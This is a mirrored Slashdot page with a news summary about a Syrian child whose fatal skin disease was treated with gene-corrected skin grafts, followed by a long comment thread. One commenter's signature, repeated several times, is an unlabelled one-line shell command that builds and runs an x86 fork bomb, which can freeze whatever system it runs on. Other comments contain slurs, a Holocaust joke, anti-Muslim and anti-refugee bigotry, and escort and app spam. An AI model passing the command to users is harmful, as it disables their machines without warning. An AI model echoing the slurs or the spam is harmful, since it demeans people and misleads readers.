Slashdot Mirror

← Back to Stories (view on slashdot.org)

Scientists Save Child's Life By Growing Him New Skin (scientificamerican.com)

Posted by BeauHD on from the new-and-improved dept.

An anonymous reader quotes a report from Scientific American: The German doctors realized they had to do something drastic or their seven-year-old patient would die. The boy had escaped war-ravaged Syria with his parents, and a rare genetic disease had left him with raw, blistering sores over 80 percent of his body. His doctors in a children's burn unit tried everything they could to treat his illness, called junctional epidermolysis bullosa -- even grafting some skin from his father to see if it would heal the child's wounds. But his body rejected this. Finally, they e-mailed Michele De Luca, a researcher in Italy, to ask for help.

The doctors took a small sample of skin from one of the few places on the boy's body where it was not flaming red or flaking off, and sent it to De Luca. His team at the center used a virus to insert into the skin cells a correct copy of a gene called LAMB3; the boy's own defective copy had caused his epidermolysis bullosa. De Luca and his colleagues grew the skin cells over scaffolds in their lab to form large sheets, the way doctors often do for burn patients. In two surgeries in October and November 2015, the Italian and German teams covered the boy's limbs, sides and back with these sheets of fresh skin. After being too sick even to get out of bed before his surgeries, "he was standing up already by Christmas," De Luca says. In January 2016 the boy, whose name is not being released to protect his privacy, received a few more skin patches -- and in February he was released from the University Hospitals of the Ruhr University Bochum in Germany.

107 comments

  1. Why didn't they just bombard him... by SensitiveMale · · Score: 2, Funny

    with greasy solar atoms? That would have forced the the body cells to react, to protect themselves. That means growing skin.

    1. Re:Why didn't they just bombard him... by Hidyman · · Score: 2, Funny

      Multi-pass!

      --
      You can't take the sky from me ...
    2. Re:Why didn't they just bombard him... by Narcocide · · Score: 1

      I'm pretty sure that's how he got the disease in the first place.

    3. Re:Why didn't they just bombard him... by Anonymous Coward · · Score: 0

      I'd say they did a great job just going by the image that Karen Weintraub posted of the boy's hands.

  2. News? by msauve · · Score: -1, Troll

    "October and November 2015, ...In January 2016"

    Not news.

    --
    "National Security is the chief cause of national insecurity." - Celine's First Law
    1. Re:News? by Anonymous Coward · · Score: 0

      today was a slow news day.

    2. Re:News? by starless · · Score: 4, Informative

      The results are published in Nature today.
      And so it is indeed news.
      https://www.nature.com/article...

    3. Re:News? by interkin3tic · · Score: 5, Informative

      The story came out today because the peer-reviewed article came out today.

      The surgeries were done at those times you mention. The skin healing and coming to an equilibrium would take months after that. To confirm it was growing as normal would take more months after that. Tests on samples collected after several months would themselves take months after that. Writing the paper would take months after that. Review would take at least one month. And that brings us up to the present day. Doing the surgery and saying "Well we healed him permanently" the next day would be premature.

      This isn't some app some douche made that takes pictures and adds new filters, this is real science, and real science takes time.

    4. Re:News? by msauve · · Score: -1, Troll

      No. Publishing history isn't news.

      --
      "National Security is the chief cause of national insecurity." - Celine's First Law
    5. Re:News? by Anonymous Coward · · Score: 1

      No. Publishing history isn't news.

      Did you know about it before? It's not like it's gone stale. It takes time to evaluate the result of something like this. Complaining about this particular article "not being news" implies a cynicism in you bordering on Grumpy Old Man status.

    6. Re:News? by msauve · · Score: -1, Troll
      Peer review? Even those who benefit from it point out its failure.

      "The skin healing and coming to an equilibrium would take months after that."

      ...January 2016 the boy, received a few more skin patches -- and in February he was released

      For future reference, plural is more than one.

      "This isn't some app some douche made that takes pictures and adds new filters, this is real science, and real science takes time."

      No, self-promotional publishing takes time. And , "douche" doesn't mean what you think it means in science.

      --
      "National Security is the chief cause of national insecurity." - Celine's First Law
    7. Re:News? by I'm+New+Around+Here · · Score: 1

      The first skin graft with this method was in October. October to February is up to 5 months.

      --
      If you think I voted for Trump because of this post, you're wrong. I voted for Dr. Jill Stein of the Green Party. Again.
    8. Re: News? by Anonymous Coward · · Score: -1

      You are a cunt.

    9. Re:News? by Megol · · Score: 1

      How do you define news? And do you understand that your definition isn't the same as the rest of the world?

    10. Re:News? by Applehu+Akbar · · Score: 1

      No. Publishing history isn't news.

      The news is that an in situ gene replacement technique has worked in one patient and is the subject of a paper. The implications of this are very large.

    11. Re:News? by Mattcelt · · Score: 1

      The real news is that this means they're one step closer to being able to reverse male-pattern baldness!

  3. Hurry! by Anonymous Coward · · Score: 0

    Someone call Liam Neeson!

  4. Omg, the racism! by Anonymous Coward · · Score: -1

    They performed a radical and unauthorized medical experiment al la Joseph Mengele on some foreign little brown kid and not a single one of you finds anything grotesquely sick with this!?

    If it was some little white girl you'd all be up in arms about how could we let Dr. Frankenstein toy with the little girl's life. But, he as brown and from Syria and likely Muslim so what he'll, eh? Scalpel!

    1. Re:Omg, the racism! by Cryacin · · Score: 2

      Sorry for feeding the troll, but I can say if it were my little girl (yes, she's white) that this happened to, then I would be thanking the doctors, even if it failed. What life is worth living under the "natural" state you see here.

      I would also defend Dr. Frankenstein to the bitter end. For trying.

      --
      Science advances one funeral at a time- Max Planck
    2. Re:Omg, the racism! by Anonymous Coward · · Score: 0

      They performed a radical and unauthorized medical experiment

      Whose authorization do you think it requires?

    3. Re:Omg, the racism! by Anonymous Coward · · Score: 0

      Is good joke, tovarishch.

    4. Re:Omg, the racism! by mwvdlee · · Score: 1

      unauthorized

      Where do you get this bullshit from?
      Why do you believe doctors shouldn't try everything they can to save the live of a middle-eastern girl?
      You seem to have a unique flavor or racism where you hate every race.

      --
      Slashdot social media options: AIM, ICQ, Yahoo, Jabber and Mobile Text. Why no MySpace?
    5. Re: Omg, the racism! by Anonymous Coward · · Score: 0

      You seem to have a unique flavor or racism where you hate every race.

      That's not racism. But hey, never let the truth get in he way of triggering all the SJW assholes with an inflamitory term.

    6. Re:Omg, the racism! by Applehu+Akbar · · Score: 1

      They performed a radical and unauthorized medical experiment al la Joseph Mengele on some foreign little brown kid and not a single one of you finds anything grotesquely sick with this!?

      Every medical advance began with researchers toying with some cohort of patients. This little boy was about to die after all conventional treatments had failed. All patients who fit this criterion get experimented on. I have a brother who is alive today because when all else had failed was the subject of a radical experiment.

      Interestingly, the technique used in the German case was genetic engineering. People like you will refuse such a treatment, and therefore will not be around to influence future generations. This is a good thing.

    7. Re: Omg, the racism! by Anonymous Coward · · Score: -1

      If I'm a troll then I'm a very successful troll because look at how many stepped up to defend the Nazi experimenters. They did the same thing to Jews and others during WW2. All the crazy shit was done to the victim classes.

      Why so many felt the need to reply to an alleged troll? Because I'm not. I hit a button. This was a Nazi style experiment on a foreign brown child and all you whites are on here saluting it! You can't even see your own racism and built in Nazi traits. Look deeper and stare into the horror that is your soul if you think this was not only ok but a good thing. Seriously, this is the only child to ever have this disease? At no point did the article say they had no idea what was wrong with him. They were perfectly aware of the genetic cause which is not true for a great many diseases.

      And what they did was experiment on a little brown Muslim boy so they'd know it would work on all your little white girls.

      Sick, sick, sick.

    8. Re: Omg, the racism! by Anonymous Coward · · Score: 0

      Youre either a troll or a dumb cunt, you choose.

  5. Science. It works, bitches. by yndrd1984 · · Score: 4, Funny

    Next stop, foreskin regeneration!

    1. Re:Science. It works, bitches. by Anonymous Coward · · Score: 2, Insightful

      Why not, we'll probably have the tech to do that before the political will to ban forcing the procedure on non-consenting babies.

    2. Re:Science. It works, bitches. by Anonymous Coward · · Score: 1

      Do you support of banning the dismemberment of non-consenting babies as well? (ie, abortion)

      Is a child able to consent to trans-sexual surgery with the complete removal of the penis?

    3. Re:Science. It works, bitches. by Anonymous Coward · · Score: 0

      Ooh looky, the clever little monkey has mastered the use of the "straw-man" argument.
      Please, get a new tactic and try to live up to the intelligent dignity of being a human being.

    4. Re:Science. It works, bitches. by Anonymous Coward · · Score: 0

      I actually thought there's a good point to be made here.

      How do you distinguish between these two concepts?

      1. Cutting the penis of a child based on the religious preferences of a parent.
      2. Cutting the penis of a child based on the sexual preferences of a parent.

      Also, consider that a paedophile sexually engages with a child without concern of consent, and therefore, it's considered rape and/or molestation. No one questions whether or not a child can consent, it's unanimous throughout all of society across the world, a child cannot consent.

      So why does a parent get to decide to cut off a penis, and this isn't considered abuse? Is there a difference because of motive alone? If so, please discuss and present a reasonable argument.

      You ad hominem attack seems to indicate you are irrational about your beliefs.

  6. Lifes good by Arzaboa · · Score: 4, Interesting

    This is a really great outcome. It would be horrible to have such a debilitating disease. For these scientists to be able to fix his DNA to cure him of this is truly remarkable, and should be applauded. Now, this young boy gets to grow up and have a chance at enjoying life without these sores and the crippling pain that is associated with it.

    --
    "...to the moon..." - Neil Armstrong

    1. Re:Lifes good by revistaintuicion · · Score: 1

      Visit Paralisis Facial

    2. Re:Lifes good by Gravis+Zero · · Score: 1

      Now, this young boy gets to grow up and have a chance to create new lives with these sores and the crippling pain that is associated with it.

      FTFY.

      It's good that we have developed this technology but it is a partial fix. We need to push further with gene therapy to prevent the distribution of genetic ailments. Anything less is unethical treatment toward either one child or many people that have yet to be born. We cannot rely on people with such ailments to voluntarily not pass on their genetic code.

      --
      Anons need not reply. Questions end with a question mark.
    3. Re:Lifes good by Applehu+Akbar · · Score: 1

      In situ treatment of a genetic disease is just a first step. Next we apply it to the germline DNA.

    4. Re:Lifes good by Anonymous Coward · · Score: 0

      Yeah, as someone who suffers from chronic eczema, largely focused on the hands, but slowly spreading throughout the body, I always feel for people with skin conditions like this. People have no idea the debilitating nature of constantly dry or cracked hands. Just the social stigma alone is a massive distraction, let alone the difficulty to do simple things like opening a water bottle or turning a screw driver.

      I doubt my HMO has any interest in improving my life by going to these extremes, but I certainly am glad to see stories like these for others.

    5. Re:Lifes good by Altrag · · Score: 1

      The eugenics solution isn't exactly great either though, even if its not in the form of actively culling people.

      Is this gene dominant? If not, then there's a high probability that his children will be perfectly fine, and his children's children and so on given that its a rare condition and the chance that he hooks up with another person who also has it is therefore slim.

      But even if its dominant, you never know what his life may bring. Perhaps his experience will lead him into the field of biology and he'll make breakthroughs there. And even if he ends up being just a "normal" person, perhaps his specific condition will have a cure by the time he's of age to have his own kids. That's a lot of "ifs" to be sure, but there's a zero percent chance for any of that to happen if we just let him die.

      Never mind the moral implications of letting a child die that you have the ability to save.

  7. Missing the most important detail by Anonymous Coward · · Score: 0

    This summary is missing the most important detail. How does the flavor and texture compare to the all-natural sustainably harvested free-range variety currently available?

  8. Why mention Syria? by nicoleb_x · · Score: 1

    So no mention of the patient's name, good. But why bother to mention the Syria connection? Does that have anything to do with the treatment or outcome/?

    1. Re: Why mention Syria? by bestweasel · · Score: 3, Insightful

      It's a "triumph over adversity" story. That you feel the need to question it shows you are a terrible person.

    2. Re:Why mention Syria? by mjwx · · Score: 1

      So no mention of the patient's name, good. But why bother to mention the Syria connection? Does that have anything to do with the treatment or outcome/?

      Because for semi-competent news networks its considered good reporting, especially where you aren't permitted to give any personally identifiable information like names. It ads context to the subject (meaning the person, not what the article is about).

      I.E. "Today a British man..." or "A woman from Northumberland...". Seriously, it's like saying Andy Murray is Scottish tennis player, his country of origin is mentioned all the fecking time.

      But you just wanted to have a bitch about Syria... because? Are you just that upset that you didn't get another war to lose?

      --
      Calling someone a "hater" only means you can not rationally rebut their argument.
    3. Re: Why mention Syria? by Anonymous Coward · · Score: 0

      Judgmental much? That kinda of makes you a terrible person, doesn't it?

    4. Re:Why mention Syria? by MobyDisk · · Score: 1

      FYI: Syria is a war zone. That is kinda relevant.

      The engineer in me makes up 90% of my interest in this story. How did they make the gene change? How does the body not reject it? Can they apply this therapy to the rest of his body? Could something like this one day cure my son's Neurofibromatosis? This is cutting edge science - science fiction become real. As a science geek, that's cool.

      But not all of science is about man's relationship with nature and technology. Much of it is about what drives us. The child's situation would not have been so dire had it not been for human stupidity. A thoughtful, moral person should not ignore that backdrop. We must ask: Why was a consortium of international scientists willing to go so far for one patient? How did the patient's situation get this bad? It would be nice to believe that we would go through such effort for anyone, but the reality is that we cannot. So sometimes, we pull together out of a shared sense of guilt. It was our species that made this happen. While that part of the story is not scientific in nature, it sticks with us and sometimes makes us think.

      I have heard many times that war is a great driver of technology. This situation adds evidence to that belief.

  9. How else could you have heard about it? by Anonymous Coward · · Score: 1

    If not through it being published?

    Also, I want to know these things! And nobody here heard of it before! Which, by definition, makes it news!
    Why are you so obsessed with the Plank time unit it arrives in front of your eyes being the Planck time unit it happened? What’s wrong with you?

  10. Hey! As a grumpy old-inside man ... by Anonymous Coward · · Score: -1

    I do not want to be compared to some moron who is just grumpy because his mama didn't give him his milk bottle.
    Everyone who gets old, mentally, has learned so much, that he understands so much, that he sees so much bullshit that's wrong in this world. And he faces the insurmountable problem, that nobody around him has yet developed to that level knowledge and experience. Making it impossible to get it across, and hence to do a fucking thing about it.
    So I'm grumpy for very good reasons.

    I'm not even 40, and I already see ridiculous precise repetitions of the same evil and stupid shit that happened in politics, a few decades ago. We already had agreed that it is horribly wrong. We already had changed the rules of our society, to fix it. And now it comes back like all that never fucking happened!
    (Case in point: I'm in Germany, and we now have fucking literal Nazis on the rise again. And this time, no America can come to save us, because they're the ones who started them! How could I possibly not be grumpy? One would have to either be hopelessly clueless or cult-leader-on-drugs-level delusional, to not be grumpy.)

    You'll get there. One day.

    1. Re:Hey! As a grumpy old-inside man ... by Anonymous Coward · · Score: -1

      Shut up you dumb fucking Kraut, always whining about your all-important war and giving yourselves expert status on it.

      Jesus Christ, I wish it was Truman nuked the Germans instead of the Japanese.

    2. Re:Hey! As a grumpy old-inside man ... by Anonymous Coward · · Score: 0

      You mean the nazis that Russia is financing, and that is the fault of USA?

    3. Re:Hey! As a grumpy old-inside man ... by umghhh · · Score: 1

      This is not his fault - he has been indoctrinated, starting from school following trough with media coverage of all that is even slightly challenging to the ruling elite as nazis. Some of them may be but we will never know because instead of a factual discussion a mud throwing (you are a nazi!) is usually taking place. This result is a mental disease affecting huge parts of population that makes actual intolerance and other threats to open society go unchecked. The usual mass hysteria that affects societies from time to time. The currently common approach to 'discussing' issues i.e. pressing on emotions instead of using facts and reason makes any meaningful conversation difficult and causes real life losses - UK politician accused of misconduct committed a suicide this week.. Germans I am afraid are specially affected in right wing over-sensitivity making them incapable to protect open society that they once had.

    4. Re:Hey! As a grumpy old-inside man ... by Anonymous Coward · · Score: 0

      We didn't save *you*. We saved the rest of Europe, and a good chunk of Asia, to *stop you trying for the reset of the world including us!"

    5. Re:Hey! As a grumpy old-inside man ... by Applehu+Akbar · · Score: 1, Insightful

      The nationalism you're seeing now in Europe is a reaction to the less savory aspects of a new insurgency, rather than being internally whipped up hatred for a minority that had been a productive and peaceful part of your society for hundreds of years.

    6. Re:Hey! As a grumpy old-inside man ... by dave420 · · Score: 1

      Except this "insurgency" only exists in the minds of the nationalists, just as the hatred for the minority you mentioned.

    7. Re:Hey! As a grumpy old-inside man ... by Applehu+Akbar · · Score: 1, Informative

      A large bunch of people showing up on your doorstep, unvetted by any national immigration system, is an insurgency. At least our own insurgents are Catholic.

    8. Re:Hey! As a grumpy old-inside man ... by Anonymous Coward · · Score: 0

      Jesus Christ, I wish it was Truman nuked the Germans instead of the Japanese.

      Why on earth would he have done that? They'd surrendered while the Japanese refused to do so. With the Japanese it was a part of war (and arguably a war crime). With Germany it would have been undeniably a genocide.

  11. This is just the problem by Krishnoid · · Score: -1, Offtopic

    University Hospitals of the Ruhr University Bochum in Germany.

    Stupid socialist medical institutions trying out last-ditch treatments so they can ration care to refugees who can't pay for it themselves. This is exactly how Hitler was able to come to power.

    1. Re: This is just the problem by Anonymous Coward · · Score: 0

      Found the Russian

    2. Re:This is just the problem by Krishnoid · · Score: 1

      And Poe's law in 3 ... 2 ... 1 ...

    3. Re:This is just the problem by Opportunist · · Score: 1

      If that bothers you, just look at it that way that they used that little expendable refugee to try some new medicine that might one day save good Aryan blood, just like their forefathers did on other expendables.

      Should make you feel better instantly.

      --
      We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
  12. Who paid for this? by Anonymous Coward · · Score: -1

    Who paid for this? The Syrian family? German citizens?

    1. Re: Who paid for this? by Anonymous Coward · · Score: -1

      You

  13. Because it is implied ... by Anonymous Coward · · Score: 1

    ... that some (morons) believe the kid (!) does not deserve it, because happened to be born somewhere else.

    Like he chose to be born in a fucking war country...
    (And btw, where was that fucking "God" asshole? Mysterious deliberately-letting-kids-suffer ways again?)

    And they never fucking realize, that this kid will suck up our (German) culture, and contribute to our society like everyone else. He certainly will not contribute less, than any jobless alcoholic dumbass of a blaming-others failure of a neo-Nazi ever did. Cause that'd be a fucking achievement on its own!

    Yeah, I'm sorry, this makes me swear a lot. I think that's what swearing was invented for. Maybe watch some Malcolm Tucker to make this here feel milder... :)

    1. Re:Because it is implied ... by Anonymous Coward · · Score: 1

      And they never fucking realize, that this kid will suck up our (German) culture, and contribute to our society like everyone else.

      That would make him the exception.

      More likely he'll end up in a parallel society in some big city and live on welfare. This whole "we just have to be extra nice and generous and benevolent and they'll happily integrate and repay us" fairy tale is just that: a fairy tale.

    2. Re:Because it is implied ... by Anonymous Coward · · Score: 0

      it is implied that some (morons) believe the kid (!) does not deserve it, because happened to be born somewhere else.

      I don't see the need to imply this, the story would have been just as informative without mentioning the Syrian origin.

      And, by the way, if I was one of the thousands of parents whose healthy child has been killed in Syria, I probably couldn't help but think that it's unfair.

    3. Re: Because it is implied ... by Anonymous Coward · · Score: -1

      Until the local imam convinces him to blow up a train, or kindergarden.

      Millions of primitive savages who's likelihood of integrating into Western society is effectively nil will hasten the Fourth Reich.

    4. Re:Because it is implied ... by Hal_Porter · · Score: 2

      (And btw, where was that fucking "God" asshole? Mysterious deliberately-letting-kids-suffer ways again?)

      I see you have read extensively on the problem of theodicy. Hint : Free Will.

      Interestingly even if you're not religious the notion that free will and good outcomes for all are incompatible is an important one. It's the basis of this -

      https://www.loc.gov/exhibits/j...

      he British ministry have so long hired their gazetteers to repeat and model into every form lies about our being in anarchy, that the world has at length believed them, the English nation has believed them, the ministers themselves have come to believe them, & what is more wonderful, we have believed them ourselves. yet where does this anarchy exist? where did it ever exist, except in the single instance of Massachusets? and can history produce an instance of a rebellion so honourably conducted? I say nothing of it's motives. they were founded in ignorance, not wickedness. god forbid we should ever be 20 years without such a rebellion. the people cannot be all, & always, well informed. the past which is wrong will be discontented in proportion to the importance of the facts they misconceive; if they remain quiet under such misconceptions it is a lethargy, the forerunner of death to the public liberty. we have had 13. states independant 11. years. there has been one rebellion. that comes to one rebellion in a century & a half for each state. what country before ever existed a century & half without a rebellion? & what country can preserve it's liberties if their rulers are not warned from time to time that their people preserve the spirit of resistance? let them take arms. the remedy is to set them right as to facts, pardon & pacify them. what signify a few lives lost in a century or two? the tree of liberty must be refreshed from time to time with the blood of patriots & tyrants. it is it's natural manure.

      I.e. Jefferson clearly believes that 'a few lives lost in a century or two' in armed rebellion against the state is the price you pay for liberty.

      --
      echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
    5. Re:Because it is implied ... by Hognoxious · · Score: 1

      This whole "we just have to be extra nice and generous and benevolent and they'll happily integrate and repay us" fairy tale is just that: a fairy tale.

      Be fair now, they said exactly the same about the East Germans and see how they turned out.

      Hang on, you might have a point.

      --
      Confucius say, "Find worm in apple - bad. Find half a worm - worse."
    6. Re:Because it is implied ... by Anonymous Coward · · Score: 0

      He has a genetic disease. How does free will even enter into the equation? He didn't choose to have this disease. His parents didn't choose it.

      If you believe that God exists, you must admit that he chose to design a world full of suffering (he could have left out natural disasters and disease, but he chose not to) and that on a regular basis he chooses to do nothing about said suffering.

      An omnibenevolent, omnipotent, and omniscient deity is simply incompatible with the world we live in.

    7. Re:Because it is implied ... by Hal_Porter · · Score: 1

      I don't believe in God. But it is possible to reconcile the existence of evil in the world with an omnipotent God. My favourite argument is that God allows free will and thus evil because a Universe with no free will would be sterile.

      You can make a similar case for a God that allows natural law to run without modification after the Big Bang. In fact a lot of the US founding fathers were Deists who believed in just such a God.

      A Deist God is actually analogous to a human who sets up a simulation and then lets the simulation evolve according to its own set of simulated physical laws rather than intervening. Obviously our simulations aren't beefy enough to have life or suffering develop inside them. Still it's easy to imagine intellectually that such simulations would be possible to an advanced civilisation and that that civilisation would choose to let them develop rather than intervening and stunting them, even if the cost of doing so is that suffering would exist inside the simulation.

      I.e. in a sense a simulation with simulated physical laws rich enough to have life capable of reasons would necessarily have suffering. You can create a universe with no life and no suffering, or one with life and suffering but you cannot create one with life and suffering.

      --
      echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
    8. Re:Because it is implied ... by Anonymous Coward · · Score: 0

      You seem to be arguing that an omnipotent God would be bound by natural laws that somehow supersede him. I'd say that contradicts his being omnipotent.

      I agree that it's certainly possible that an advanced being ("God") has simply let its simulation run, with no intervention, and that's the world we live in. I wouldn't call that being omnipotent or good. It's bound by the natural laws of whatever reality it exists in (because those laws must necessarily influence the simulation on some level) and it's amoral at best.

      Anyway, thanks for the interesting discussion! :-)

    9. Re:Because it is implied ... by Hal_Porter · · Score: 1

      You seem to be arguing that an omnipotent God would be bound by natural laws that somehow supersede him. I'd say that contradicts his being omnipotent.

      If you assume God is the guy running the simulation he's not bound by the laws of the simulation. He may be bound by natural laws in the Universe outside the simulation. However he chooses not to override the laws inside the simulation because he doesn't want to stop it producing interesting results.

      It's like if you're running Conway's Life you could go in and tweak the cells by hand but that would defeat the purpose of running it. You choose not to. You can't however override natural law in the Universe you're in. You're only omnipotent in your created universe.

      (because those laws must necessarily influence the simulation on some level)

      Not necessarily. Natural law in Conway's Life has nothing to do with natural law in our universe. If our universe were a simulation run by a Deist God, there's no reason for our natural laws to have anything to do with the laws in His universe.

      In Frank Tipler's quasi religious and frankly rather odd Omega Point Hypothesis the real universe is very different from the simulated one. The real universe is collapsing to a point and the simulated one (our universe) may or may not be. Even if it is it's a lot less far along the process because that's where the interesting stuff happens - the ultra powerful entities near the big crunch have finite time but almost limitless computational ability.

      https://en.wikipedia.org/wiki/...

      Anyway, thanks for the interesting discussion! :-)

      No problems!

      --
      echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
    10. Re:Because it is implied ... by martinX · · Score: 1

      In the series "The Chronicles of Thomas Covenant, The Unbeliever", the author had a nearly-omnipotent evil force on 'earth' who the protagonist battled. The evil force's motivation was to gain control of the magic talisman from the protagonist in order to (a) lay waste to the planet (as evil forces are wont to do) and (b) escape virtual imprisonment to take on the creator.

      The omnipotent god of the story had created this universe and cast down the evil force but was unable to directly influence his creation without destroying it, as one might a soap bubble.

      To me, it seemed like reasonable explanation of how things might be. Omnipotence might be relative.

      Great series, btw. High school me loved it.

      --
      When they came for the communists, I said "He's next door. Take him away. Goddam commies."
    11. Re:Because it is implied ... by Anonymous Coward · · Score: 0

      It's funny, because I didn't have the free will to choose a universe without free will.

    12. Re:Because it is implied ... by Hal_Porter · · Score: 1

      Arguably an omnipotent God wouldn't give people the choice about whether they get free will, or in general freedom because they might make the wrong choice.

      E.g. look at all the millennials who want to live under 'communism, socialism or fascism'.

      https://www.washingtontimes.co...

      Though admittedly if you look at the report it's not as bad as the Washington Times makes out

      https://victimsofcommunism.org...

      https://imgur.com/a/3LQU6

      I'd interpret that as most Americans want a free market system, voting for Capitalism over Socialism 59% to 34%.

      Millennials have no money/lots of student debt and 44% want a Scandinavian social democratic system where they'd get free stuff as opposed to 42% who want capitalism (what they think they have). Support for radically anti freedom systems like Communism and Fascism is pretty low - 7% each even among Millennials. And if you look the rest of the report, that's because Millennials mostly can't identify Communism, Socialism, Fascism and Capitalism from the definition.

      So they're young, ignorant and have been brainwashed at college. I went through that stage - I voted Labour in my 20s, albeit only when it was led by the centrist Tony Blair. It was only after I worked in Sweden that I realized that Scandinavian social democracy is no utopia.

      --
      echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
  14. Gesture Lock Screen by racknithi · · Score: -1

    good ques imo app imo apk imo download imo app snaptube for pc snaptube apk Pattern App Lock FingerPrint App Lock Gesture App Lock App Faker Callername Announcer SPY-PHONE Gesture Lock screen Download Gesture Lock Screen

  15. “failure" by Anonymous Coward · · Score: 0

    If you believe everything that isn't "perfect, first try", is a "failure",
    then how much of a failure do you believe YOU to be?

    Maybe you should get a therapy, and not project your lack of self-worth onto others.

  16. Whatever mental illness you have... get it fixed. by Anonymous Coward · · Score: 0

    Seriously, ... how low in life can one get?

    You're acting as much as a Nazi as you possibly could, and then end it with comparing them to Nazis.

    You need to get an award, mate! Retard of the century!

    Btw, we can all see you projecting your inferiority complex for being such a complete failure in life. Do you even wear anything except for beer-stained smelly ex-white briefs and Nazi boots, as I write this? I bet you never had a job beyond the most primitive factory night shift worker ones, because you're such a failure.

  17. The Next Generation by Anonymous Coward · · Score: 0

    Whoa, and I thought millennial were bad. The latest generation are too lazy to even grow their own skin, they have to buy it and have someone install it.

    Expect more people to require this since now the kid and others like him will live long enough to breed. If they had to graft his penis, would it end up as sensitive as normal skin? Same with his fingers, feet, and other body parts?

    1. Re:The Next Generation by Megol · · Score: 1

      Given that it's his normal skin I don't see why it wouldn't. But why are you thinking about the penis of a 7yo?

    2. Re:The Next Generation by Anonymous Coward · · Score: 0

      Perhaps he's circumcised and wants to know if a skin graft would bring back the lost sensations (it doesn't, so likely sex won't feel very good for him if they grafted that part). Why do you feel parts of a body are taboo? Trying to shame talking about things like that is a major reason why sex education is so poor (root case of lots of unwanted babies, STDs, and sexual health issues), mental issues are so high, and barbaric practices like circumcision are still thought of as good for the baby. Grow up.

  18. Genetic manipulation by Anonymous Coward · · Score: 0

    is the technology, which saved this patient.

    Lets factor this in the, next time GMO argumentation starts to heat up.

    1. Re:Genetic manipulation by Megol · · Score: 1

      To be honest much of criticism of GMO isn't about gene manipulation per se but the type of manipulation and potential risks of it as used. But sure there are plenty of "natural" idiots too - IMO they should be fed 100% natural strychnine.

  19. Please Check My Website by SexyDivitModel · · Score: -1

    Hello Your site is very good! I like it!!. It is very helpful site. Thank you so much Please Check My Website :- http://www.divit.co.in/goa-esc... Call Me Booking :- +91-9953272937 {24*7 Available} Escorts Services

  20. )"MARE by Anonymous Coward · · Score: -1

    Faggot 8igger

  21. Great, finally the Germans can decorate by Anonymous Coward · · Score: -1

    Their apartments with the lampshades they always wanted.

  22. Science performs a miracle by Anonymous Coward · · Score: 0

    Let me guess. Science performs a miracle with the pinnacle of current human understanding. Parents thank their god(s).

    Bert

    1. Re:Science performs a miracle by Chrisq · · Score: 1

      Let me guess. Science performs a miracle with the pinnacle of current human understanding. Parents thank their god(s).

      Bert

      Science performs miracles all the time, that doesn't impress me. What would impress me is religion performing science ;-)

    2. Re:Science performs a miracle by Anonymous Coward · · Score: 0

      Christian
        Catholic
        Islam

  23. Gene pool by skovnymfe · · Score: 0

    So now we have yet another person with defective genes in our gene pool. Great. Modern medicine for the win.

    1. Re:Gene pool by Anonymous Coward · · Score: 0, Troll

      Plus, the guy is probably going to have 8 kids of his own, not 1-2.
      And I am a single white male that probably paid for this surgery with my disproportionately high taxes (and will possibly pay even more for his kids, in time).
      But, what's the solution? As humans, we have inherent need to help the less-fortunates, cripples, and such.
      It's a huge problem long-term, but what can be done?

    2. Re:Gene pool by Anonymous Coward · · Score: -1

      Plus, the guy is probably going to have 8 kids of his own, not 1-2. And I am a single white male that probably paid for this surgery with my disproportionately high taxes (and will possibly pay even more for his kids, in time). But, what's the solution? As humans, we have inherent need to help the less-fortunates, cripples, and such. It's a huge problem long-term, but what can be done?

      And they will probably each kill half a dozen non-Muslims.

    3. Re:Gene pool by necro81 · · Score: 1

      So now we have yet another person with defective genes in our gene pool. Great. Modern medicine for the win.

      I'm sure that, as the boy matures, he will be well aware of the ramifications of his mutation, and will be duly hesitant to pass it on. Parents can be jerks to their children in many ways, but knowingly gifting them a terrible (often fatal, but now treatable) genetic mutation is not usually something a parent would do.

      There are ways to fix this and prevent the mutation from propagating, however. Pre-implantation selection is one possibility, which is already used routinely to screen for other genetic problems. Also: at the rate we are going, we'll probably have ways of completely removing this mutation from his genetic line by the time he is looking to have a family. If not him, then probably by the time his children are reproducing. Third: the article is unclear, but this may be a condition that requires a defect in both the mother's and father's genes - a recessive trait. If his female partner doesn't have the same mutation, then no problem. Finally: who's to say that this guy is going to have biological children? He may have none, he may yet die before reproducing, he may adopt children not genetically linked to him, etc.

    4. Re:Gene pool by iamacat · · Score: 1

      Parents can be jerks to their children in many ways, but knowingly gifting them a terrible (often fatal, but now treatable) genetic mutation is not usually something a parent would do.

      Does not jibe with the world we have now. Families have known that a lot of their ancestors died from the same mysterous illness for centuries. People seem to very much do it.

    5. Re:Gene pool by Anonymous Coward · · Score: 0

      Dystrophic Epiderolysis Bullosa is a recessive genetic trait.
      Those genes were already in the gene pool, and it's not the kids fault.

    6. Re:Gene pool by Anonymous Coward · · Score: 0

      As someone who has a milder version of this disease, I can tell you it's a pain to live with, and I wouldn't want to pass those genes along, but it's a reasonably rare condition and doesn't express itself in most people.

  24. question everything. by gDLL · · Score: 1

    So you're the kind of person that does not question stories.... I bet money you believe in fairy tales and don't know it.

  25. Wow! by Anonymous Coward · · Score: 1

    They literally patched his DNA...

    1. Re:Wow! by Megol · · Score: 1

      Let's hope there will be no regressions...

    2. Re:Wow! by cyberchondriac · · Score: 1

      That's what I was wondering. The new skin has the fixed gene in it, but the body creates all new epidermis every, what, six weeks?

      --

      Look back up at my post, now look back down, you're on the Internet. Now look back up. I'm a signature.
    3. Re:Wow! by blindseer · · Score: 1

      The "old" skin lacks the proteins to bind to the lower layers of skin, the "new" skin has those proteins. I assume this means any old skin that comes off is more likely to be recovered with new. The new skin should simply heal over the rest of the body.

      That's my theory. Certainly not the opinion of a trained physician, I don't even play one on TV.

      --
      I am armed because I am free. I am free because I am armed.
  26. Feel the butthurt! by Anonymous Coward · · Score: -1

    Did I trigger something in you? ^^

    How insecure are you, to have a perception, that distorted?

